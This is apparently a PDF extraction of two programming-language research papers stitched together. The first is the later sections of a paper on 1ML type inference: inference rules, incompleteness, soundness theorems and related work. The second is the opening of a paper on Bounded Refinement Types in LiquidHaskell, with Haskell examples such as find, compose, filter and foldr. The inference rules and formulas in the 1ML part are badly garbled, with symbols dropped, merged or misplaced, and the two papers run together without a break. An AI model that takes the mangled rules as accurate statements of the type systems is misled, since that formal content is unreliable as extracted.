Γ θ`θ′ J := θΓ `θ′′ θJ ∧ θ′ = θ′′ ◦ θ

where θJ is meant to apply θ toJ ’s “inputs”. It’s used to thread and
compose substitutions through multiple premises (e.g. rule IEIF).

There are two main complications, both due to the fact that,
unlike in old ML, small types can be intermixed with large ones.

First, it may be necessary to infer a small type from a large one
via subtyping. For example, we might encounter the inequation

∀α.[= α]→P [= α] ≤ υ

which can be solved just fine with υ = [= σ] →I [= σ] for
any σ; through contravariance, similar situations can arise with an
inference variable on the left. Because of this, it is not enough to
just consider the cases υ ≤ σ or σ ≤ υ for resolving υ. Instead,
when the subtyping algorithm hits υ ≤ Σ or Σ ≤ υ (rules ISRESL
and ISRESR, where Σ may or may not be small) it invokes the
auxiliary Resolution judgement Γ `θ υ ≈ Σ, which only resolves
υ so far as to match the shape of Σ and inserts fresh inference
variables for its subcomponents. After that, subtyping “tries again”.

Second, an inference variable υ can be introduced in the scope
of abstract types (i.e., regular type variables). In general, it would
be incorrect to resolve υ to a type containing type variables that are
not in scope for all occurrences of υ in a derivation. To prevent that,
each υ is associated with a set ∆υ of type variables that are known
to be in scope for υ everywhere. The set is verified when resolving
υ (see rule IRPATH in particular). The set also is propagated to
any other υ′ the original υ is unified with, by intersecting ∆υ′

with ∆υ – or more precisely, by introducing a new variable υ′′

with the intersected ∆υ′′ , and replacing both υ and υ′ with it (see
e.g. rule IRINFER); that way, we can treat ∆υ as a globally fixed
set for each υ, and do not need to maintain those sets separately.
Inference variables also have to be updated when type variables go
out of scope. That is achieved by employing the following notation
in rules locally extending Γ with type variables (we write undet(Ξ)
to denote the free inference variables of Ξ):

Γ; Γ′ θ`θ′ J := Γ,Γ′ θ`θ′′ J ∧ θ′ = [υ′/υ] ◦ θ′′
where υ = undet(θ′′J )

υ′ fresh with ∆υ′ = ∆υ ∩ dom(Γ)

The net effect is that all local α’s from Γ′ are removed from all
∆-sets of inference variable remaining after executing Γ,Γ′ ` J .
We omit θ in this notation when it is the identity.

Implicit functions work mostly like in ML. Like with let-
polymorphism, generalisation is deferred to the point where an
expression is bound – in this case, in rule IBPVAR. This works de-
spite 1ML’s first-class polymorphism, thanks to the desugaring into
a kernel syntax requiring named variables in most places (Figure 1).
Consider the example from the previous section:
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Types Γ `θ T  Ξ
Γ `!

θ E :P [= Ξ]

Γ `θ E  Ξ
ITPATH

υ fresh ∆υ = dom(Γ)

Γ `[]  υ
ITINFER

Γ `[] type ∃α.[= α]
ITTYPE

Γ `θ E : Σ

Γ `θ (=E) Σ
ITSING

Γ `θ1 T1  ∃α1.Σ1

Γ;α1, X:Σ1 θ1`θ2 T2  ∃α2.Σ2 κα′
2

= κα1 → κα2

Γ `θ2 (X:T1)⇒T2  ∃α′2.∀α1.Σ1 →P Σ2[α′2 α1/α2]
ITPFUN

Γ;α,X:[= α] `θ T  Σ κα = Ω

Γ `θ ’(X:type)⇒ T  ∀α.{} →A Σ
ITIMPL

Expressions Γ `θ E :ι Ξ

Γ(X) = Σ

Γ `[] X :P Σ
IEVAR

Γ `!
θ0
X :P bool Γ θ0`θ1 E1 :ι1 Ξ1 Γ θ3`θ4 Ξ1 ≤ Ξ

Γ θ2`θ3 T  Ξ Γ θ1`θ2 E2 :ι2 Ξ2 Γ θ4`θ5 Ξ2 ≤ Ξ

Γ `θ5 if X then E1 else E2 :T :ι1∨ι2∨ι(Ξ) Ξ
IEIF

Γ `!
θ E :ι ∃α.{X:Σ, X ′:Σ′}
Γ `θ E.X :ι ∃α.Σ

IEDOT

Γ `θ1 T  ∃α.Σ Γ;α,X:Σ θ1`θ2 E :ι Ξ

Γ `θ2 fun (X:T )⇒E :P ∀α.Σ→ι Ξ
IEFUN

Γ `!
θ1
X1 :P ∀α.Σ1 →ι Ξ

Γ θ1`θ2X2 :P Σ2 Γ θ2`θ3 Σ2 ≤α Σ1  δ

Γ `θ3 X1 X2 :ι δΞ
IEAPP

Bindings Γ `θ B :ι ΞΓ `θ E :I ∃α.Σ
Γ `θ X=E :I ∃α.{X : Σ} IBVAR

Γ `θ E :P Σ υ = undet(θΣ)− undet(θΓ) κα = Ω

Γ `θ X=E :P {X : ∀α.{} →A Σ[α/υ]} IBPVAR

Subtyping Γ `θ Ξ ≤π Ξ′  δ

Γ `[] υ ≤ υ
ISREFL

Γ `!
θ υ ≈ Σ Γ θ`θ′ υ ≤ Σ

Γ `θ′ υ ≤ Σ
ISRESL

Γ `!
θ υ ≈ Σ′ Γ θ`θ′ Σ′ ≤ υ

Γ `θ′ Σ′ ≤ υ ISRESR

Γ, α `θ1 Σ ≤α′ Σ′  δ1 ι′ ≤ ι
Γ;α θ1`θ2 δ1Ξ′ ≤πα Ξ δ2 θ2δ2Σ = θ2Σ

Γ `θ2 (∀α′.Σ′ →ι′ Ξ′) ≤π (∀α.Σ→ι Ξ) δ2
ISFUN

Γ;α `θ Σ′ ≤α Σ δ α′α 6= ε

Γ `θ ∃α′.Σ′ ≤ ∃α.Σ
ISABS

υ fresh ∆υ = dom(Γ) Γ `θ Σ′[υ/α′] ≤π Σ δ

Γ `θ ∀α′.{} →A Σ′ ≤π Σ δ
ISIMPLL

Γ;α `θ Σ′ ≤π Σ δ; f α 6 ∩ fv(θδ)

Γ `θ Σ′ ≤π ∀α.{} →A Σ δ
ISIMPLR

Resolution Γ `θ υ ≈ ΣΓ `!
θ υ ≈ Σ := υ /∈ undet(Σ) ∧ Γ `θ υ ≈ Σ

υ′′ fresh ∆υ′′ = ∆υ ∩∆υ′

Γ `[υ′′/υ,υ′′/υ′] υ ≈ υ′
IRINFER

α ∈ ∆υ υ′ fresh ∆υ′ = ∆υ

Γ `[αυ′/υ] υ ≈ ασ
IRPATH

Γ `[bool/υ] υ ≈ bool
IRBOOL

υ′ fresh ∆υ′ = ∆υ

Γ `[[=υ′]/υ] υ ≈ [= Ξ]
IRTYPE

υ1, υ2 fresh ∆υ1 = ∆υ2 = ∆υ

Γ `[(υ1→Iυ2)/υ] υ ≈ ∀α.Σ→ι Ξ
IRFUN

Instantiation Γ `θ Ξ � Ξ′Γ `!
θ E :ι Ξ := Γ `θ E :ι Ξ′ ∧ Γ θ`θ′ Ξ′ � Ξ

Γ `θ Ξ � Ξ
INREFL

Γ;α `θ υ ≈ Σ

Γ `θ ∃α.υ � ∃α.Σ
INRES

υ fresh ∆υ = dom(Γ, α) Γ `θ ∃α.Σ[υ/α′] � ∃α.Σ′

Γ `θ ∃α.∀α′.{} →A Σ � ∃α.Σ′ INIMPL

Figure 6. Type Inference for 1ML (Excerpt)

(fun (id : ’a ⇒ a → a) ⇒ {x = id 3; y = id true}) (fun x ⇒ x)

Desugaring rewrites this application into an expression that has an
explicit binding for the argument (fun x ⇒ x). The same observa-
tions applies to other relevant forms. Hence, generalising bindings
in the kernel syntax is still enough.

Similarly, instantiation is deferred to rules corresponding to
elimination forms (e.g. IEIF, IEDOT, IEAPP, but also ITPATH).
There, the auxiliary Instantiation judgement is invoked (as part
of the notation Γ `!

θ J .). This does not only instantiate implicit
functions (possibly under existential binders), it also may resolve
inference variables to create a type whose shape matches the shape
that is expected by the invoking rule.

Instantiation can also happen implicitly as part of subtyping
(rule ISIMPLL), which covers the case where a polymorphic value
is matched against a monomorphic (or other polymorphic) parame-
ter. For example, ∀α1α2.{} →A α1 →I α2 ≤ ∀β.{} →A β →I β
will be checked by first applying ISIMPLR, turning the right type
monomorphic, and then instantiating the left with ISIMPLL, so that
the check is down to υ1 →I υ2 ≤ β →I β, unifying easily.

5.2 Incompleteness
There are a couple of sources of incompleteness in this algorithm:

Width subtyping Subtyping like υ ≤ {l:σ} does not determine
the shape of the record type υ: the set of labels can still vary.
Consequently, the Resolution judgement has no rule for structures –
instead a structure type must be determined by the previous context.

This is, in fact, similar to Standard ML [19], where record types
cannot be inferred either, and require type annotation. However,
SML implementations typically ensure that type inference is still
order-independent, i.e., the information may be supplied after the
point of use. They do so by employing a simple form of row
inference. A similar approach would be possible for 1ML, but
subtyping would still make more programs fail to type-check. For
the sake of presentation, we decided to err on the side of simplicity.

The real solution of course would be to incorporate not just row
inference but row polymorphism [21], so that width subtyping on
structures can be recast as universal and existential quantification.
We leave investigating such an extension for future work (though
we note that include would still represent a challenge).
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Type Scoping Tracking of the sets ∆υ is conservative: after leav-
ing the scope of a type variable α, we exclude any solution for
υ that would still involve α, even if υ only appears inside a type
binder for α. Consider, for example [5]:

G (x : int) = {M = {type t = int; v = x} :> {type t; v : t}; f = id id};
C = G 3;
x = C.f (C.M.v);

and assume id : ’(a : type) ⇒ a → a. Because id is impure, the
definition of f is impure, and its type cannot be generalised; more-
over, G is impure too. The algorithm will infer G’s type as

int→ ∃β.{M : {t : [= β], v : β}, f : υ →I υ}
with β /∈ ∆υ (because β goes out of scope the moment we bind it
with a local quantifier), and then generalises to

G : ∀α.{} →A int→ ∃β.{M : {t : [= β], v : β}, f : α→I α}
But its too late, the solution υ = β, which would make x well-
typed, is already precluded. When typing C, instantiating α with β
is not possible either, because β can only come into scope again
after having applied an argument for α already.

Although not well-known, this very problem is already present
in good old ML, as Dreyer & Blume point out [5]: existing type in-
ference implementations are incomplete, because combinations of
functors and the value restriction (like above) do not have principal
types. Interestingly, a variation of the solution suggested by Dreyer
& Blume (implicitly generalising the types of functors) is implied
by the 1ML typing rules: since functors are just functions, their
types can already be generalised. However, generalisation happens
outside the abstraction, which is more rigid than what they propose
(but which is not expressible in System Fω). Consequently, 1ML
can type some examples from their paper, but not all.

Purity Annotations Due to effect subtyping, a function type as
an upper bound does not determine the purity of a smaller type.
Technically, that does not affect completeness, because we defined
small types to only include impure functions: the resolution rule
IRFUN can always pick I. But arguably, that is cheating a little
by side-stepping the issue. In particular, it makes an extension of
the notion of (im)purity to other effects, as suggested in Section 2,
somewhat inconvenient, because pure function types could not be
inferred in parameter positions.

Again, the solution would be more polymorphism, in this case a
simple form of effect polymorphism [32]. That will be future work.

Despite these limitiations, we found 1ML inference quite usable.
In practice, MLs have long given up on complete type inference:
various limitations exist in both SML and OCaml (and the extended
language family including Haskell), necessitating type annotations
or declarations. In our limited experience with a prototype, 1ML is
not substantially worse, at least not when used in the same manner
as traditional ML. In fact, we conjecture that any SML program
not using features omitted from 1ML – but including both modules
and Damas/Milner polymorphism – can be directly transliterated
into 1ML without adding type annotations.

5.3 Metatheory
If the inference algorithm isn’t complete, then at least it is sound.
That is, we can show the following result:

THEOREM 5.1 (Correctness of 1ML Inference).
Let υ,Γ be a well-formed Fω environment.

1. If Γ `θ T/D  Ξ, then υ′, θΓ ` T/D  θΞ.
2. If Γ `θ E/B :ι Ξ e, then υ′, θΓ ` E/B :ι θΞ θe.
3. If Γ `θ Ξ′≤πΞ δ;f and υ,Γ ` Ξ′ : Ω and υ,Γ, α ` Ξ : Ω,

then υ′, θΓ ` θΞ′ ≤π θΞ θδ; θf .

THEOREM 5.2 (Termination of 1ML Inference).
All 1ML type inference judgements terminate.

We have to defer the details to the Technical Appendix [23].

6. Related Work
Packaged Modules The first concrete proposal for extending ML
with packaged modules was by Russo [27], and is implemented in
Moscow ML. Later work on type systems for modules routinely
included them [6, 4, 24, 25], and variations have been implemented
in other ML dialects, such as Alice ML [22] and OCaml [7].

To avoid soundness issues in the combination with applicative
functors, Russo’s original proposal conservatively allowed unpack-
ing a module only local to core-level expressions, but this restric-
tion has been lifted in later systems, restricting only the occurrence
of unpacking inside applicative functors.

First-Class Modules The first to unify ML’s stratified type sys-
tem into one language was Harper & Mitchell’s XML calculus [10].
It is a dependent type theory modeling modules as terms of Martin-
Löf-style Σ and Π types, closely following MacQueen’s original
ideas [17]. The system enforces predicativity through the introduc-
tion of two universes U1 and U2, which correspond directly to our
notion of small and large type, and both systems allow bothU1 : U2

and U1 ⊆ U2. XML lacks any account of either sealing or translu-
cency, which makes it fall short as a foundation for modern ML.

That gap was closed by Harper & Lillibridge’s calculus of
translucent sums [9, 16], which also was a dependently typed lan-
guage of first-class modules. Its main novelty were records with
both opaque and transparent type components, directly modeling
ML structures. However, unlike XML, the calculus is impredica-
tive, which renders it undecidable.

Translucent sums where later superseded by the notion of sin-
gleton types [31]; they formed the foundation of Dreyer et al.’s type
theory for higher-order modules [6]. However, to avoid undecid-
ability, this system went back to second-class modules.

One concern in dependently typed theories is phase separation:
to enable compile-time checking without requiring core-level com-
putation, such theories must be sufficiently restricted. For example,
Harper et al. [11] investigate phase separation for the XML calcu-
lus. The beauty of the F-ing approach is that it enjoys phase sepa-
ration by construction, since it does not use dependent types.

Applicative Functors Leroy proposed applicative semantics for
functors [15], as implemented in OCaml. Russo later combined
both generative and applicative functors in one language [28] and
implemented them in Moscow ML; others followed [30, 6, 4, 25].

A system like Leroy’s, where all functors are applicative, would
be incompatible with first-class modules, because the application
in type paths like F(A).t needs to be phase-separable to enable
type checking, but not all functions are. Russo’s system has similar
problems, because it allows converting generative functors into
applicative ones. Like Dreyer [4] or F-ing modules [25], 1ML
hence combines applicative (pure) and generative (impure) functors
such that applicative semantics is only allowed for functors whose
body is both pure and separable. In F-ing modules, applicativity is
even inferred from purity, and sealing itself not considered impure;
the Technical Appendix [23] shows a similar extension to 1ML.

In the version of 1ML shown in the main paper, an applicative
functor can only be created by sealing a fully transparent functor
with pure function type, very much like in Shao’s system [30].

Type Inference There has been little work that has considered
type inference for modules. Russo examined the interplay between
core-level inference and modules [28], elegantly dealing with vari-
able scoping via unification under a mixed prefix. Dreyer & Blume
investigated how functors interfere with the value restriction [5].
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At the same time, there have been ambitious extensions of ML-
style type inference with higher-rank or impredicative types [8,
14, 33, 29]. Unlike those systems, 1ML never tries to infer a
polymorphic type annotation: all guessed types are monomorphic
and polymorphic parameters require annotation.

On the other hand, 1ML allows bundling types and terms to-
gether into structures. While it is necessary to explicitly annotate
terms that contain types, associated type quantifiers (both univer-
sal and existential) and their actual introduction and elimination are
implicit and effectively inferred as part of the elaboration process.

7. Future Work
1ML, as shown here, is but a first step. There are many possible
improvements and extensions.

Implementation We have implemented a simple prototype inter-
preter for 1ML (mpi-sws.org/˜rossberg/1ml/), but it would be
great to gather more experience with a “real” implementation.

Applicative Functors We would like to extend 1ML’s rather basic
notion of applicative functor with pure sealing à la F-ing modules
(see the Technical Appendix [23]), but more importantly, make it
properly abstraction-safe by tracking value identities [25].

Implicits The domain of implicit functions in 1ML is limited to
type type. Allowing richer types would be a natural extension, and
might provide functionality like Haskell-style type classes [34].

Type Inference Despite the ability to express first-class and
higher-order polymorphism, inference in 1ML is rather simple.
Perhaps it is possible to combine 1ML elaboration with some of
the more advanced approaches to inference described in literature.

More Polymorphism Replacing more of subtyping with poly-
morphism might lead to better inference: row polymorphism [21]
could express width subtyping, and simple effect polymorphism [32]
would allow more extensive use of pure function types.

Recursive Modules In [24] we gave a fully general design for
recursive modules, elaborating into an extension of System F. It
would be interesting (but complicated) to redo it 1ML-style, in
order to achieve a more uniform treatment of recursion for 1ML.

Dependent Types Finally, 1ML goes to length to push the bound-
aries of non-dependent typing. It’s a legitimate question to ask,
what for? Why not go fully dependent? Well, even then sealing ne-
cessitates some equivalent of weak sums (existential types). Incor-
porating them, along with the quantifier pushing of our elaboration,
into a dependent type system might pose an interesting challenge.
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Abstract
We present a notion of bounded quantification for refinement types
and show how it expands the expressiveness of refinement typing
by using it to develop typed combinators for: (1) relational algebra
and safe database access, (2) Floyd-Hoare logic within a state trans-
former monad equipped with combinators for branching and loop-
ing, and (3) using the above to implement a refined IO monad that
tracks capabilities and resource usage. This leap in expressiveness
comes via a translation to “ghost” functions, which lets us retain
the automated and decidable SMT based checking and inference
that makes refinement typing effective in practice.

Categories and Subject Descriptors D.2.4 [Software/Program
Verification]; D.3.3 [Language Constructs and Features]: Poly-
morphism; F.3.1 [Logics and Meanings of Programs]: Specifying
and Verifying and Reasoning about Programs

Keywords haskell, refinement types, abstract interpretation

1. Introduction
Must program verifiers always choose between expressiveness and
automation? On the one hand, tools based on higher order logics
and full dependent types impose no limits on expressiveness, but
require user-provided (perhaps, tactic-based) proofs. On the other
hand, tools based on Refinement Types [22, 30] trade expressive-
ness for automation. For example, the refinement types

type Pos = {v:Int | 0 < v}
type IntGE x = {v:Int | x ≤ v}

specify subsets of Int corresponding to values that are positive
or larger than some other value x respectively. By limiting the
refinement predicates to SMT-decidable logics [17], refinement
type based verifiers eliminate the need for explicit proof terms, and
thus automate verification.

This high degree of automation has enabled the use of refine-
ment types for a variety of verification tasks, ranging from array

∗ This work was supported by NSF grants CCF-1422471, C1223850, CCF-
1218344, a Microsoft Research Ph.D Fellowship and a generous gift from
Microsoft Research.

bounds checking [21], termination and totality checking [29], pro-
tocol validation [2, 9], and securing web applications [10]. Unfor-
tunately, this automation comes at a price. To ensure predictable
and decidable type checking, we must limit the logical formulas
appearing in specification types to decidable (typically quantifier
free) first order theories, thereby precluding higher-order specifi-
cations that are essential for modular verification.

In this paper, we introduce Bounded Refinement Types which
reconcile expressive higher order specifications with automatic
SMT based verification. Our approach comprises two key ingre-
dients. Our first ingredient is a mechanism, developed by [27], for
abstracting refinements over type signatures. This mechanism is
the analogue of parametric polymorphism in the refinement setting:
it increases expressiveness by permitting generic signatures that are
universally quantified over the (concrete) refinements that hold at
different call-sites. However, we observe that for modular verifi-
cation, we additionally need to constrain the abstract refinement
parameters, typically to specify fine grained dependencies between
the parameters. Our second ingredient provides a technique for en-
riching function signatures with subtyping constraints (or bounds)
between abstract refinements that must be satisfied by the concrete
refinements at instantiation. Thus, constrained abstract refinements
are the analogue of bounded quantification in the refinement setting
and in this paper, we show that this simple technique proves to be
remarkably effective.

• First, we demonstrate via a series of short examples how
bounded refinements enable the specification and verification
of diverse textbook higher order abstractions that were hitherto
beyond the scope of decidable refinement typing (§ 2).

• Second, we formalize bounded types and show how bounds are
translated into “ghost” functions, reducing type checking and
inference to the “unbounded” setting of [27], thereby ensuring
that checking remains decidable. Furthermore, as the bounds
are Horn constraints, we can directly reuse the abstract inter-
pretation of Liquid Typing [21] to automatically infer concrete
refinements at instantiation sites (§ 3).

• Third, to demonstrate the expressiveness of bounded refine-
ments, we use them to build a typed library for extensible dic-
tionaries, to then implement a relational algebra library on top
of those dictionaries, and to finally build a library for type-safe
database access (§ 4).

• Finally, we use bounded refinements to develop a Refined State
Transformer monad for stateful functional programming, based
upon Filliâtre’s method for indexing the monad with pre- and
post-conditions [8]. We use bounds to develop branching and
looping combinators whose types signatures capture the deriva-
tion rules of Floyd-Hoare logic, thereby obtaining a library for
writing verified stateful computations (§ 5). We use this library
to develop a refined IO monad that tracks capabilities at a fine-
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granularity, ensuring that functions only access specified re-
sources (§ 6).

We have implemented Bounded Refinement Types in LIQUID-
HASKELL [29]. The source code of the examples (with slightly
more verbose concrete syntax) is at [24]. While the construction
of these verified abstractions is possible with full dependent types,
bounded refinements keep checking automatic and decidable, use
abstract interpretation to automatically synthesize refinements (i.e.,
pre- and post-conditions and loop invariants), and most importantly
enable retroactive or gradual verification as when erase the refine-
ments, we get valid programs in the host language (§ 7). Thus,
bounded refinements point a way towards keeping our automation,
and perhaps having expressiveness too.

2. Overview
We start with a high level overview of bounded refinement types. To
make the paper self contained, we begin by recalling the notions of
abstract refinement types. Next, we introduce bounded refinements,
and show how they permit modular higher-order specifications.
Finally, we describe how they are implemented via an elaboration
process that permits automatic first-order verification.

2.1 Preliminaries

Refinement Types let us precisely specify subsets of values, by
conjoining base types with logical predicates that constrain the
values. We get decidability of type checking, by limiting these
predicates to decidable, quantifier-free, first-order logics, including
the theory of linear arithmetic, uninterpreted functions, arrays, bit-
vectors and so on. Apart from subsets of values, like the Pos and
IntGE that we saw in the introduction, we can specify contracts like
pre- and post-conditions by suitably refining the input and output
types of functions.

Preconditions are specified by refining input types. We specify
that the function assert must only be called with True, where the
refinement type TRUE contains only the singleton True:

type TRUE = {v:Bool | v ⇔ True}

assert :: TRUE → a → a
assert True x = x
assert False _ = error "Provably Dead Code"

We can specify post-conditions by refining output types. For
example, a primitive Int comparison operator leq can be assigned
a type that says that the output is True iff the first input is actually
less than or equal to the second:

leq :: x:Int → y:Int → {v:Bool | v ⇔ x ≤ y}

Refinement Type Checking proceeds by checking that at each
application, the types of the actual arguments are subtypes of those
of the function inputs, in the environment (or context) in which the
call occurs. Consider the function:

checkGE :: a:Int → b:IntGE a → Int
checkGE a b = assert cmp b

where cmp = a ‘leq ‘ b

To verify the call to assert we check that the actual parameter cmp
is a subtype of TRUE, under the assumptions given by the input types
for a and b. Via subtyping [29] the check reduces to establishing the
validity of the verification condition (VC)

a ≤ b ⇒ (cmp ⇔ a ≤ b) ⇒ v == cmp ⇒ (v ⇔
true)

The first antecedent comes from the input type of b, the second
from the type of cmp obtained from the output of leq, the third
from the actual input passed to assert, and the goal comes from
the input type required by assert. An SMT solver [17] readily es-
tablishes the validity of the above VC, thereby verifying checkGE.

First order refinements prevent modular specifications. Con-
sider the function that returns the largest element of a list:

maximum :: List Int → Int
maximum [x] = x
maximum (x:xs) = max x (maximum xs)

where max a b = if a < b then b else a

How can one write a first-order refinement type specification for
maximum that will let us verify the below code?

posMax :: List Pos → Pos
posMax = maximum

Any suitable specification would have to enumerate the situations
under which maximum may be invoked breaking modularity.

Abstract Refinements overcome the above modularity problems
[27]. The main idea is that we can type maximum by observing that it
returns one of the elements in its input list. Thus, if every element
of the list enjoys some refinement p then the output value is also
guaranteed to satisfy p. Concretely, we can type the function as:

maximum :: ∀<p::Int→Bool >. List Int <p> → Int <p>

where informally, Int<p> stands for {v:Int | p v}, and p is an
uninterpreted function in the refinement logic [17]. The signature
states that for any refinement p on Int, the input is a list of ele-
ments satisfying p and returns as output an integer satisfying p. In
the sequel, we will drop the explicit quantification of abstract re-
finements; all free abstract refinements will be implicitly quantified
at the top-level (as with classical type parameters.)

Abstract Refinements Preserve Decidability. Abstract refine-
ments do not require the use of higher-order logics. Instead, ab-
stractly refined signatures (like maximum) can be verified by view-
ing the abstract refinements p as uninterpreted functions that only
satisfy the axioms of congruence, namely:

∀ x y. x = y ⇒ p x ⇔ p y

As the quantifier free theory of uninterpreted functions is decidable
[17], abstract refinement type checking remains decidable [27].

Abstract Refinements are Automatically Instantiated at call-
sites, via the abstract interpretation framework of Liquid Typ-
ing [27]. Each instantiation yields fresh refinement variables on
which subtyping constraints are generated; these constraints are
solved via abstract interpretation yielding the instantiations. Hence,
we verify posMax by instantiating:

p 7→ λ v → 0 < v -- at posMax

2.2 Bounded Refinements

Even with abstraction, refinement types hit various expressiveness
walls. Consider the following example from [26]. find takes as
input a predicate q, a continuation k and a starting number i; it
proceeds to compute the smallest Int (larger than i) that satisfies
q, and calls k with that value. ex1 passes find a continuation that
checks that the “found” value equals or exceeds n.
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ex1 :: (Int → Bool) → Int → ()
ex1 q n = find q (checkGE n) n

find q k i
| q i = k i
| otherwise = find q k (i + 1)

Verification fails as there is no way to specify that k is only called
with arguments greater than n. First, the variable n is not in scope
at the function definition and so we cannot refer to it. Second, we
could try to say that k is invoked with values greater than or equal
to i, which gets substituted with n at the call-site. Alas, due to the
currying order, i too is not in scope at the point where k’s type is
defined and so the type for k cannot depend upon i.

Can Abstract Refinements Help? Lets try to abstract over the
refinement that i enjoys, and assign find the type:

(Int → Bool) → (Int <p> → a) → Int <p> → a

which states that for any refinement p, the function takes an input
i which satisfies p and hence that the continuation is also only
invoked on a value which trivially enjoys p, namely i. At the call-
site in ex1 we can instantiate

p 7→ λv→ n ≤ v (1)

This instantiated refinement is satisfied by the parameter n, and
sufficient to verify, via function subtyping, that checkGE n will
only be called with values satisfying p, and hence larger than n.

find is ill-typed as the signature requires that at the recursive call
site, the value i+1 also satisfies the abstract refinement p. While
this holds for the example we have in mind (1), it does not hold for
all p, as required by the type of find! Concretely, {v:Int|v=i+1}
is in general not a subtype of Int<p>, as the associated VC

...⇒ p i⇒ p (i+1) (2)

is invalid – the type checker thus (soundly!) rejects find.

We must Bound the Quantification of p to limit it to refinements
satisfying some constraint, in this case that p is upward closed. In
the dependent setting, where refinements may refer to program val-
ues, bounds are naturally expressed as constraints between refine-
ments. We define a bound, UpClosed which states that p is a refine-
ment that is upward closed, i.e., satisfies ∀ x. p x ⇒ p (x+1),
and use it to type find as:

bound UpClosed (p :: Int → Bool)
= λx → p x ⇒ p (x+1)

find :: (UpClosed p) ⇒ (Int → Bool)
→ (Int <p> → a)
→ Int <p> → a

This time, the checker is able to use the bound to verify the VC (2).
We do so in a way that refinements (and thus VCs) remain quanti-
fier free and hence, SMT decidable (§ 2.4).

At the call to find in the body of ex1, we perform the instantia-
tion (1) which generates the additional VC (n ≤ x ⇒ n ≤ x+1)
by plugging in the concrete refinements to the bound constraint.
The SMT solver easily checks the validity of the VC and hence this
instantiation, thereby statically verifying ex1, i.e., that the assertion
inside checkGE cannot fail.

2.3 Bounds for Higher-Order Functions

Next, we show how bounds expand the scope of refinement typ-
ing by letting us write precise modular specifications for various
canonical higher-order functions.

2.3.1 Function Composition

First, consider compose. What is a modular specification for
compose that would let us verify that ex2 enjoys the given spec-
ification?

compose f g x = f (g x)

type Plus x y = {v:Int | v = x + y}
ex2 :: n:Int → Plus n 2
ex2 = incr ‘compose ‘ incr

incr :: n:Int → Plus n 1
incr n = n + 1

The challenge is to chain the dependencies between the input
and output of g and the input and output of f to obtain a relationship
between the input and output of the composition. We can capture
the notion of chaining in a bound:

bound Chain p q r = λx y z →
q x y ⇒ p y z ⇒ r x z

which states that for any x, y and z, if (1) x and y are related by q,
and (2) y and z are related by p, then (3) x and z are related by r.

We use Chain to type compose using three abstract refinements
p, q and r, relating the arguments and return values of f and g to
their composed value. (Here, c<r x> abbreviates {v:c | r x v}.)

compose :: (Chain p q r) ⇒ (y:b → c<p y>)
→ (x:a → b<q x>)
→ (w:a → c<r w>)

To verify ex2 we instantiate, at the call to compose,

p, q 7→ λx v → v = x + 1
r 7→ λx v → v = x + 2

The above instantiation satisfies the bound, as shown by the validity
of the VC derived from instantiating p, q, and r in Chain:

y == x + 1 ⇒ z == y + 1 ⇒ z == x + 2

and hence, we can check that ex2 implements its specified type.

2.3.2 List Filtering

Next, consider the list filter function. What type signature for
filter would let us check positives?

filter q (x:xs)
| q x = x : filter q xs
| otherwise = filter q xs

filter _ [] = []

positives :: [Int] → [Pos]
positives = filter isPos

where isPos x = 0 < x

Such a signature would have to relate the Bool returned by f with
the property of the x that it checks for. Typed Racket’s latent predi-
cates [25] account for this idiom, but are a special construct limited
to Bool-valued “type” tests, and not arbitrary invariants. Another
approach is to avoid the so-called “Boolean Blindness” that accom-
panies filter by instead using option types and mapMaybe.

We overcome blindness using a witness bound:

bound Witness p w = λx b → b ⇒ w x b ⇒ p x

which says that w witnesses the refinement p. That is, for any
boolean b such that w x b holds, if b is True then p x also holds.

50



filter can be given a type saying that the output values enjoy
a refinement p as long as the test predicate q returns a boolean
witnessing p:

filter :: (Witness p w) ⇒ (x:a → Bool <w x>)
→ List a
→ List a<p>

To verify positives we infer the following type and instantia-
tions for the abstract refinements p and w at the call to filter:

isPos :: x:Int → {v:Bool | v ⇔ 0 < x}
p 7→ λv → 0 < v
w 7→ λx b → b ⇔ 0 < x

2.3.3 List Folding

Next, consider the list fold-right function. Suppose we wish to
prove the following type for ex3:

foldr :: (a → b → b) → b → List a → b
foldr op b [] = b
foldr op b (x:xs) = x ‘op‘ foldr op b xs

ex3 :: xs:List a → {v:Int | v == len xs}
ex3 = foldr (λ_ → incr) 0

where len is a logical or measure function used to represent the
number of elements of the list in the refinement logic [29]:

measure len :: List a → Nat
len [] = 0
len (x:xs) = 1 + len xs

We specify induction as a bound. Let (1) inv be an abstract
refinement relating a list xs and the result b obtained by folding
over it, and (2) step be an abstract refinement relating the inputs
x, b and output b’ passed to and obtained from the accumulator op
respectively. We state that inv is closed under step as:

bound Inductive inv step = λx xs b b’ →
inv xs b ⇒ step x b b’ ⇒ inv (x:xs) b’

We can give foldr a type that says that the function outputs a
value that is built inductively over the entire input list:

foldr :: (Inductive inv step)
⇒ (x:a → acc:b → b<step x acc >)
→ b<inv []>
→ xs:List a
→ b<inv xs>

That is, for any invariant inv that is inductive under step, if the
initial value b is inv-related to the empty list, then the folded output
is inv-related to the input list xs.

We verify ex3 by inferring, at the call to foldr

inv 7→ λxs v → v == len xs
step 7→ λx b b’ → b’ == b + 1

The SMT solver validates the VC obtained by plugging the above
into the bound. Instantiating the signature for foldr yields pre-
cisely the output type desired for ex3.

Previously, [27] describes a way to type foldr using abstract
refinements that required the operator op to have one extra ghost ar-
gument. Bounds let us express induction without ghost arguments.

2.4 Implementation

To implement bounded refinement typing, we must solve two prob-
lems. Namely, how do we (1) check, and (2) use functions with
bounded signatures? We solve both problems via a unifying insight
inspired by the way typeclasses are implemented in Haskell.

1. A Bound Specifies a function type whose inputs are uncon-
strained, and whose output is some value that carries the re-
finement corresponding to the bound’s body.

2. A Bound is Implemented by a ghost function that returns true,
but is defined in a context where the bound’s constraint holds
when instantiated to the concrete refinements at the context.

We elaborate bounds into ghost functions satisfying the bound’s
type. To check bounded functions, we need to call the ghost func-
tion to materialize the bound constraint at particular values of in-
terest. Dually, to use bounded functions, we need to create ghost
functions whose outputs are guaranteed to satisfy the bound con-
straint. This elaboration reduces bounded refinement typing to the
simpler problem of unbounded abstract refinement typing [27]. The
formalization of our elaboration is described in § 3. Next, we illus-
trate the elaboration by explaining how it addresses the problems
of checking and using bounded signatures like compose.

We Translate Bounds into Function Types called the bound-
type where the inputs are unconstrained, and the outputs satisfy
the bound’s constraint. For example, the bound Chain used to type
compose in § 2.3.1, corresponds to a function type, yielding the
translated type for compose:

type ChainTy p q r
= x:a → y:b → z:c
→ {v:Bool | q x y ⇒ p y z ⇒ r x z}

compose :: (ChainTy p q r) → (y:b → c<p y>)
→ (x:a → b<q x>)
→ (w:a → c<r w>)

To Check Bounded Functions we view the bound constraints as
